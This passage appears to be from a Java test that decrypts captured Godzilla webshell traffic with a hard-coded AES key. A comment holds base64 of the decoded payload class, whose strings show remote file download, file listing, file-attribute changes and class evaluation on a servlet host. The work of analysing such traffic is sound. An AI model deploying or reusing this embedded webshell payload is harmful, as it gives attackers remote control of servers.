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"; + byte[] bytes = Base64.decodeBase64(payload); + byte[] aes = GodzillaManager.aes("4fe60e3b9193d6bd", bytes, false); + assertNotNull(aes); + // yv66vgADAC0FagcFaAEAB3BheWxvYWQHAAQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAh0b0Jhc2U2NAEAAltDAQAMcGFyYW1ldGVyTWFwAQATTGphdmEvdXRpbC9IYXNoTWFwOwEACnNlc3Npb25NYXABAA5zZXJ2bGV0Q29udGV4dAEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADnNlcnZsZXRSZXF1ZXN0AQALaHR0cFNlc3Npb24BAAtyZXF1ZXN0RGF0YQEAAltCAQAMb3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAB2NsYXNzJDABABFMamF2YS9sYW5nL0NsYXNzOwEACVN5bnRoZXRpYwEAB2NsYXNzJDEBAAdjbGFzcyQyAQAHY2xhc3MkMwEAB2NsYXNzJDQBAAdjbGFzcyQ1AQAHY2xhc3MkNgEAB2NsYXNzJDcBAAdjbGFzcyQ4AQAHY2xhc3MkOQEACGNsYXNzJDEwAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlCQABACMMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABjxpbml0PgoAAwAoDAAmACAHACoBABFqYXZhL3V0aWwvSGFzaE1hcAoAKQAoCQABAC0MAAcACAEABHRoaXMBAAlMcGF5bG9hZDsBABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgoAAwAyDAAmADABAAZsb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsKAAMAOAwAOQA6AQALZGVmaW5lQ2xhc3MBABcoW0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAAWIBAANydW4BAAQoKVtCCAA/AQANZXZhbENsYXNzTmFtZQoAAQBBDABCAEMBAANnZXQBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwgARQEACm1ldGhvZE5hbWUKAEcASQcASAEAEGphdmEvbGFuZy9PYmplY3QMAEoASwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwoATQBPBwBOAQAPamF2YS9sYW5nL0NsYXNzDABQAFEBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7CgBTAFUHAFQBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAFYASwEADWdldFJldHVyblR5cGUJAAEAWAwAEgATCAAPCgBNAFsMAFwAXQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7BwBfAQAeamF2YS9sYW5nL05vQ2xhc3NEZWZGb3VuZEVycm9yCgBhAGMHAGIBABNqYXZhL2xhbmcvVGhyb3dhYmxlDABkAGUBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsKAF4AZwwAJgBoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgBNAGoMAGsAbAEAEGlzQXNzaWduYWJsZUZyb20BABQoTGphdmEvbGFuZy9DbGFzczspWgoAUwBuDABvAHABAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAA8IAHMBACR0aGlzIG1ldGhvZCByZXR1cm5UeXBlIG5vdCBpcyBieXRlW10KAHUAdwcAdgEAEGphdmEvbGFuZy9TdHJpbmcMAHgAPQEACGdldEJ5dGVzCQABAHoMAAkACAoAKQB8DABCAH0BACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoATQB/DACAAIEBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7CgBHAIMMAIQAhQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgoARwCHDACIAGUBAAh0b1N0cmluZwgAigEABnJlc3VsdAgAjAEADnJldHVybiB0eXBlRXJyCACOAQARZXZhbENsYXNzIGlzIG51bGwIAJABAA5tZXRob2QgaXMgbnVsbAcAkgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtCgCRACgHAJUBABNqYXZhL2lvL1ByaW50U3RyZWFtCgCUAJcMACYAmAEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYKAGEAmgwAmwCcAQAPcHJpbnRTdGFja1RyYWNlAQAYKExqYXZhL2lvL1ByaW50U3RyZWFtOylWCgCUAJ4MAJ8AIAEABWZsdXNoCgCUAKEMAKIAIAEABWNsb3NlCgCRAKQMAKUAPQEAC3RvQnl0ZUFycmF5BwCnAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAAljbGFzc05hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACWV2YWxDbGFzcwEABm9iamVjdAEADHJlc3VsdE9iamVjdAEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAZzdHJlYW0BAAtwcmludFN0cmVhbQEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAD2Zvcm1hdFBhcmFtZXRlcgoAKQC2DAC3ACABAAVjbGVhcggACQoAKQC6DAC7ALwBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgADAkAAQC/DAAMAAsIAAoJAAEAwgwACgALCAANCQABAMUMAA0ACwkAAQDHDAAOAA8HAMkBABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtCgDIAMsMACYAzAEABShbQilWBwDOAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0KAM0A0AwAJgDRAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWCgDTANUHANQBACFqYXZhL3V0aWwvemlwL0luZmxhdGVySW5wdXRTdHJlYW0MANYA1wEABHJlYWQBAAMoKUkKAHUAywoA2gDcBwDbAQAZamF2YS9pby9GaWx0ZXJJbnB1dFN0cmVhbQwA1gDdAQAFKFtCKUkKAAEA3wwA4ADdAQAKYnl0ZXNUb0ludAoAzQDiDADWAOMBAAcoW0JJSSlJCgCRAOUMAOYAIAEABXJlc2V0CgCRAOgMAOkA6gEABXdyaXRlAQAEKEkpVgoAkQChCgDIAKEKAM0AoQcA7wEAE2phdmEvbGFuZy9FeGNlcHRpb24BAA1wYXJhbWV0ZXJCeXRlAQAHdFN0cmVhbQEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAAnRwAQADa2V5AQAEbGVuQgEABGRhdGEBAAtpbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAF0AQABQgEAA2xlbgEAAUkBAApyZWFkT25lTGVuCgABAP8MAQAAhQEABmhhbmRsZQoAAQECDAEDAQQBAAVub0xvZwEAFShMamF2YS9sYW5nL09iamVjdDspVgEAA29iagkAAQEHDAAVABMIAQkBAB1qYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbQkAAQELDAAQABEIAQ0BACIlcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlcnZsZXRSZXF1ZXN0CgABAQ8MARABEQEADHN1cHBvcnRDbGFzcwEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWggBEwEAGSVzLnNlcnZsZXQuU2VydmxldFJlcXVlc3QIARUBABslcy5zZXJ2bGV0Lmh0dHAuSHR0cFNlc3Npb24KAAEBFwwBGAEEAQAUaGFuZGxlUGF5bG9hZENvbnRleHQIARoBAAxnZXRBdHRyaWJ1dGUJAAEBHAwAFgATCAEeAQAQamF2YS5sYW5nLlN0cmluZwgBIAEACnBhcmFtZXRlcnMKAAEBIgwBIwEkAQASZ2V0TWV0aG9kQW5kSW52b2tlAQBdKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAKcmV0Vk9iamVjdAgBJwEACmdldFJlcXVlc3QKAAEBKQwBKgErAQAQZ2V0TWV0aG9kQnlDbGFzcwEAUShMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwgBLQEAEWdldFNlcnZsZXRDb250ZXh0CAEvAQAKZ2V0U2Vzc2lvbgEAEGdldFJlcXVlc3RNZXRob2QBABdnZXRTZXJ2bGV0Q29udGV4dE1ldGhvZAEAEGdldFNlc3Npb25NZXRob2QIATQBAAVqYXZheAoAdQE2DAE3ATgBAAZmb3JtYXQBADkoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZzsKAAEBOgwASgBdCAE8AQAHamFrYXJ0YQEAD2NsYXNzTmFtZVN0cmluZwEAA3JldAEAAVoBAAFjCgABAUIMAUMAIAEADmluaXRTZXNzaW9uTWFwBwFFAQAeamF2YS91dGlsL3ppcC9HWklQT3V0cHV0U3RyZWFtCgFEAJcKAAEBSAwAtAAgCAFKAQAMZXZhbE5leHREYXRhCgABAUwMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1K